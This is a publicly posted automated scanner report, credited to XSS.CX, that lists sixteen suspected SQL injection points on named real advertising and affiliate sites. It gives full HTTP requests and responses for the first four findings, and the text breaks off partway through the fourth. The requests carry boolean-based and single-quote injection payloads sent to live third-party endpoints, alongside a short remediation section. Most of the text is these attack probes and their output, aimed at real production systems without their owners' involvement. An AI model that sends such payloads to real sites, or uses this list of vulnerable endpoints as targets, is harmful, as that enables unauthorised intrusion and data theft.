SQL Injection, DORK Report, CWE-89, CAPEC-66, Vulnerability Examples, March 21, 2011

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Report generated by XSS.CX at Thu Mar 24 06:41:15 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Loading

1. SQL injection

1.1. http://ad.doubleclick.net/adi/N815.cnnmoney/B5064924.32 [AdID parameter]

1.2. http://ad.doubleclick.net/adi/N815.cnnmoney/B5064924.32 [TargetID parameter]

1.3. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]

1.4. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]

1.5. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]

1.6. http://publisher.mediapass.com/Affiliate/SignUpStep1.aspx [_ctl0%3AContentPlaceHolder2%3AEmail parameter]

1.7. http://publisher.mediapass.com/Affiliate/SignUpStep1.aspx [_ctl0%3AContentPlaceHolder2%3AEmail parameter]

1.8. http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx [ASP.NET_SessionId cookie]

1.9. http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx [_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl0:pricingId parameter]

1.10. http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx [_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl1:pricingId parameter]

1.11. http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx [_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl2:pricingId parameter]

1.12. http://publisher.mediapass.com/Affiliate/SignUpStep3.aspx [ASP.NET_SessionId cookie]

1.13. http://publisher.mediapass.com/Affiliate/login.aspx [LoginName parameter]

1.14. http://publisher.mediapass.com/Affiliate/login.aspx [LoginPassword parameter]

1.15. http://publisher.mediapass.com/aw.aspx [A parameter]

1.16. http://redcated/APM/iview/147641056/direct [MUID cookie]



1. SQL injection
There are 16 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://ad.doubleclick.net/adi/N815.cnnmoney/B5064924.32 [AdID parameter]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ad.doubleclick.net
Path:   /adi/N815.cnnmoney/B5064924.32

Issue detail

The AdID parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the AdID parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adi/N815.cnnmoney/B5064924.32;sz=728x90;click=http://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675'%20and%201%3d1--%20&TargetID=112211&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46484,46485,46486,46694,46792,46909,47090,47114,47353,47387,47399,47805&Values=1589&Redirect=;ord=cktNqWK,bgyutdWclbasd? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_pagetype=story_sync&cnn_money_position=970x418_top&cnn_money_rollup=business_news&cnn_money_section=the_buzz&params.styles=fs&qcseg=D&qcseg=T&qcseg=291&qcseg=446&qcseg=232&qcseg=239&qcseg=249&qcseg=2900&qcseg=1758&qcseg=756&bizo_ind=business_services&bizo_func=information_technology&bizo_sen=executive&tile=1300909197304&page.allowcompete=yes&domId=236863
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|998766/320821/15055,1831140/746237/15055,2818894/957634/15036,578176/951462/15032|t=1297805141|et=730|cs=v3vpvykb

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Mar 2011 19:45:33 GMT
Expires: Wed, 23 Mar 2011 19:45:33 GMT
Vary: Accept-Encoding
Cache-Control: private, x-gzip-ok=""
Content-Length: 7698

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->
<!-- Code auto-generated on Mon Dec 20 16:08:39 EST 2010 -->
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/3000209/dubai_static_728x90.swf";
var gif = "http://s0.2mdn.net/3000209/dubai_static_728x90.jpg";
var minV = 9;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ad3/f/1e3/%2a/v%3B233540379%3B2-0%3B0%3B57088445%3B3454-728/90%3B39920664/39938451/1%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675'%20and%201%3d1--%20&TargetID=112211&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46484,46485,46486,46694,46792,46909,47090,47114,47353,47387,47399,47805&Values=1589&Redirect=http%3a%2f%2fwww.ibm.com/innovation/us/leadership/exchange/index.html%3Fcmp%3D609CF%26cm%3Db%26csr%3Dagus_itquest-20101104%26cr%3Dcnnmoney%26ct%3D609CF01A%26cn%3Dcapleaddubai");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();


var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ad3/f/1e3/%2a/v%3B233540379%3B2-0%3B0%3B57088445%3B3454-728/90%3B39920664/39938451/1%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675'%20and%201%3d1--%20&TargetID=112211&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46
...[SNIP]...

Request 2

GET /adi/N815.cnnmoney/B5064924.32;sz=728x90;click=http://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675'%20and%201%3d2--%20&TargetID=112211&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46484,46485,46486,46694,46792,46909,47090,47114,47353,47387,47399,47805&Values=1589&Redirect=;ord=cktNqWK,bgyutdWclbasd? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_pagetype=story_sync&cnn_money_position=970x418_top&cnn_money_rollup=business_news&cnn_money_section=the_buzz&params.styles=fs&qcseg=D&qcseg=T&qcseg=291&qcseg=446&qcseg=232&qcseg=239&qcseg=249&qcseg=2900&qcseg=1758&qcseg=756&bizo_ind=business_services&bizo_func=information_technology&bizo_sen=executive&tile=1300909197304&page.allowcompete=yes&domId=236863
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|998766/320821/15055,1831140/746237/15055,2818894/957634/15036,578176/951462/15032|t=1297805141|et=730|cs=v3vpvykb

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Mar 2011 19:45:34 GMT
Expires: Wed, 23 Mar 2011 19:45:34 GMT
Vary: Accept-Encoding
Cache-Control: private, x-gzip-ok=""
Content-Length: 7682

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->
<!-- Code auto-generated on Tue Mar 08 09:18:11 EST 2011 -->
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/3000209/madrid_728x90.swf";
var gif = "http://s0.2mdn.net/3000209/madrid_728x90.jpg";
var minV = 9;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ad3/f/1e3/%2a/p%3B233540379%3B3-0%3B0%3B57088445%3B3454-728/90%3B41060957/41078744/1%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675'%20and%201%3d2--%20&TargetID=112211&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46484,46485,46486,46694,46792,46909,47090,47114,47353,47387,47399,47805&Values=1589&Redirect=http%3a%2f%2fwww.ibm.com/innovation/us/leadership/response/index.html%3Fcmp%3DUSBRB%26cm%3Db%26csr%3Dagus_itlead-20110307%26cr%3Dcnnmoney%26ct%3DUSBRB301%26cn%3Dcapleadmadrid");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();


var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ad3/f/1e3/%2a/p%3B233540379%3B3-0%3B0%3B57088445%3B3454-728/90%3B41060957/41078744/1%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675'%20and%201%3d2--%20&TargetID=112211&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46
...[SNIP]...

1.2. http://ad.doubleclick.net/adi/N815.cnnmoney/B5064924.32 [TargetID parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ad.doubleclick.net
Path:   /adi/N815.cnnmoney/B5064924.32

Issue detail

The TargetID parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the TargetID parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adi/N815.cnnmoney/B5064924.32;sz=728x90;click=http://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675&TargetID=112211%20and%201%3d1--%20&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46484,46485,46486,46694,46792,46909,47090,47114,47353,47387,47399,47805&Values=1589&Redirect=;ord=cktNqWK,bgyutdWclbasd? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_pagetype=story_sync&cnn_money_position=970x418_top&cnn_money_rollup=business_news&cnn_money_section=the_buzz&params.styles=fs&qcseg=D&qcseg=T&qcseg=291&qcseg=446&qcseg=232&qcseg=239&qcseg=249&qcseg=2900&qcseg=1758&qcseg=756&bizo_ind=business_services&bizo_func=information_technology&bizo_sen=executive&tile=1300909197304&page.allowcompete=yes&domId=236863
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|998766/320821/15055,1831140/746237/15055,2818894/957634/15036,578176/951462/15032|t=1297805141|et=730|cs=v3vpvykb

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Mar 2011 19:46:07 GMT
Expires: Wed, 23 Mar 2011 19:46:07 GMT
Vary: Accept-Encoding
Cache-Control: private, x-gzip-ok=""
Content-Length: 7700

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->
<!-- Code auto-generated on Mon Dec 20 16:08:37 EST 2010 -->
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/3000209/euresist_static_728x90.swf";
var gif = "http://s0.2mdn.net/3000209/euresist_static_728x90.jpg";
var minV = 9;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ad3/f/1e2/%2a/n%3B233540379%3B1-0%3B0%3B57088445%3B3454-728/90%3B39920662/39938449/1%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675&TargetID=112211%20and%201%3d1--%20&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46484,46485,46486,46694,46792,46909,47090,47114,47353,47387,47399,47805&Values=1589&Redirect=http%3a%2f%2fwww.ibm.com/innovation/us/leadership/hospitals/index.html%3Fcmp%3DUSBRB%26cm%3Db%26csr%3Dagus_itlead-20101213%26cr%3Dcnnmoney%26ct%3DUSBRB301%26cn%3Dcapleadhosp");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();


var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ad3/f/1e2/%2a/n%3B233540379%3B1-0%3B0%3B57088445%3B3454-728/90%3B39920662/39938449/1%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675&TargetID=112211%20and%201%3d1--%20&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163
...[SNIP]...

Request 2

GET /adi/N815.cnnmoney/B5064924.32;sz=728x90;click=http://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675&TargetID=112211%20and%201%3d2--%20&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46484,46485,46486,46694,46792,46909,47090,47114,47353,47387,47399,47805&Values=1589&Redirect=;ord=cktNqWK,bgyutdWclbasd? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_pagetype=story_sync&cnn_money_position=970x418_top&cnn_money_rollup=business_news&cnn_money_section=the_buzz&params.styles=fs&qcseg=D&qcseg=T&qcseg=291&qcseg=446&qcseg=232&qcseg=239&qcseg=249&qcseg=2900&qcseg=1758&qcseg=756&bizo_ind=business_services&bizo_func=information_technology&bizo_sen=executive&tile=1300909197304&page.allowcompete=yes&domId=236863
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|998766/320821/15055,1831140/746237/15055,2818894/957634/15036,578176/951462/15032|t=1297805141|et=730|cs=v3vpvykb

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Mar 2011 19:46:08 GMT
Expires: Wed, 23 Mar 2011 19:46:08 GMT
Vary: Accept-Encoding
Cache-Control: private, x-gzip-ok=""
Content-Length: 7583

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->
<!-- Code auto-generated on Tue Mar 08 11:18:03 EST 2011 -->
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/3000209/euresist_static_Revised_728x90.swf";
var gif = "http://s0.2mdn.net/3000209/euresist_static_728x90.jpg";
var minV = 9;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ad3/f/1e2/%2a/i%3B233540379%3B4-0%3B0%3B57088445%3B3454-728/90%3B41064361/41082148/1%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675&TargetID=112211%20and%201%3d2--%20&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,45604,45611,45692,46096,46101,46163,46439,46469,46484,46485,46486,46694,46792,46909,47090,47114,47353,47387,47399,47805&Values=1589&Redirect=http%3a%2f%2fwww.ibm.com/innovation/us/leadership/hospitals/index.html%3Fcmp%3DUSBRB%26cm%3Db%26csr%3Dagus_itlead-20101213%26cr%3Dcnnmoney%26ct%3DUSBRB301%26cn%3Dcapleadhosp");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();


var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ad3/f/1e2/%2a/i%3B233540379%3B4-0%3B0%3B57088445%3B3454-728/90%3B41064361/41082148/1%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=362366&AdID=497675&TargetID=112211%20and%201%3d2--%20&Segments=1824,2244,2743,3083,3285,6298,6520,6585,7043,8598,12260,17251,18961,19419,22175,25342,25344,25412,30220,33361,33525,33527,33544,33852,33887,34172,34375,35306,38423,38928,40253,40773,41847,42274,42703,43109,45259,45351,45497,45546,4
...[SNIP]...

1.3. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The esi parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the esi parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true'&bannerID=173670&referer=ads.cnn.com HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_position=315x40_spon3&cnn_money_rollup=homepage&cnn_money_section=sponsor_center&params.styles=fs&tile=1300909177539&page.allowcompete=yes&domId=471129
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=216a3151297859685; IXAIBannerCounter174466=1; IXAIFirstHit2457=2%2f16%2f2011+7%3a07%3a58+AM; IXAIBanners2251=171021; IXAIBannerCounter171021=1; IXAIFirstHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAILastHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAICampaignCounter2251=1; IXAIBanners2357=173404; IXAIBannerCounter173404=1; IXAIFirstHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAILastHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAICampaignCounter2357=1; IXAIBanners2457=174466,175106,175106,175106; IXAIBannerCounter175106=3; IXAILastHit2457=3%2f7%2f2011+7%3a51%3a59+AM; IXAICampaignCounter2457=4; IXAIFirstHit2411=3%2f10%2f2011+11%3a08%3a04+AM; IXAIBanners2411=174145,174145,174145; IXAIBannerCounter174145=3; IXAILastHit2411=3%2f10%2f2011+11%3a29%3a10+AM; IXAICampaignCounter2411=3; IXAIBanners2528=174753; IXAIBannerCounter174753=1; IXAIFirstHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAILastHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAICampaignCounter2528=1; IXAIBanners2399=173670; IXAIBannerCounter173670=1; IXAIFirstHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAILastHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAICampaignCounter2399=1

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Wed, 23 Mar 2011 19:41:03 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true''&bannerID=173670&referer=ads.cnn.com HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_position=315x40_spon3&cnn_money_rollup=homepage&cnn_money_section=sponsor_center&params.styles=fs&tile=1300909177539&page.allowcompete=yes&domId=471129
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=216a3151297859685; IXAIBannerCounter174466=1; IXAIFirstHit2457=2%2f16%2f2011+7%3a07%3a58+AM; IXAIBanners2251=171021; IXAIBannerCounter171021=1; IXAIFirstHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAILastHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAICampaignCounter2251=1; IXAIBanners2357=173404; IXAIBannerCounter173404=1; IXAIFirstHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAILastHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAICampaignCounter2357=1; IXAIBanners2457=174466,175106,175106,175106; IXAIBannerCounter175106=3; IXAILastHit2457=3%2f7%2f2011+7%3a51%3a59+AM; IXAICampaignCounter2457=4; IXAIFirstHit2411=3%2f10%2f2011+11%3a08%3a04+AM; IXAIBanners2411=174145,174145,174145; IXAIBannerCounter174145=3; IXAILastHit2411=3%2f10%2f2011+11%3a29%3a10+AM; IXAICampaignCounter2411=3; IXAIBanners2528=174753; IXAIBannerCounter174753=1; IXAIFirstHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAILastHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAICampaignCounter2528=1; IXAIBanners2399=173670; IXAIBannerCounter173670=1; IXAIFirstHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAILastHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAICampaignCounter2399=1

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Wed, 23 Mar 2011 19:41:03 GMT
Connection: close
Cache-Control: no-store
Content-Length: 21928

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.4. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=173670&referer=ads.cnn.com&1'=1 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_position=315x40_spon3&cnn_money_rollup=homepage&cnn_money_section=sponsor_center&params.styles=fs&tile=1300909177539&page.allowcompete=yes&domId=471129
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
